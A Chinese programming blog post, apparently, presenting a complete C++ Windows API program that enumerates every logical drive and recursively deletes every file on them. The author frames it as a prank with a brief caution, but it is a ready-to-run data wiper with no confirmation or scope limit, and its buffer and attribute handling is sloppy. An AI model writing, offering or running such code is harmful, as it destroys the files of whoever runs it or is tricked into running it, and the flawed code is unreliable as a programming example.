基于Windows API实现遍历所有文件并删除的方法

2025-05-29 0 53

本文实例讲述了基于Windows API实现遍历所有文件删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)…
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ….

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48
#include <windows.h>

#include <stdio.h>

#include <bitset>

using namespace std;

void DelFile(char *cFilePath)

{

WIN32_FIND_DATA data;

HANDLE hFind;

char cFullPath[100];

char cNewPath[100];

sprintf_s(cFullPath,"%s\\\\*.*",cFilePath);

hFind=FindFirstFile(cFullPath,&data);

do

{

if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))

{

continue;

}

if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)

{

sprintf_s(cNewPath,"%s\\\\%s",cFilePath,data.cFileName);

DelFile(cNewPath);//递归

}

// MessageBox(NULL,data.cFileName,"Look",0);

sprintf_s(cFullPath,"%s\\\\%s",cFilePath,data.cFileName);

DeleteFile(cFullPath);

}while(FindNextFile(hFind,&data));

}

int WINAPI WinMain(

HINSTANCE hInstance, // handle to current instance

HINSTANCE hPrevInstance, // handle to previous instance

LPSTR lpCmdLine, // command line

int nCmdShow // show state

)

{

DWORD dwDrive=GetLogicalDrives();

bitset<32> bit(dwDrive);

char Path[3]={'a',':','\\0'};

for(int ix=0;ix!=32;ix++)

{

if(bit.test(ix))

{

Path[0]='A'+ix;

DelFile(Path);

}

}

return 0;

}

希望本文所述对大家的win32程序设计有所帮助。

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

快网idc优惠网 建站教程 基于Windows API实现遍历所有文件并删除的方法 https://www.kuaiidc.com/107393.html

相关文章

发表评论
暂无评论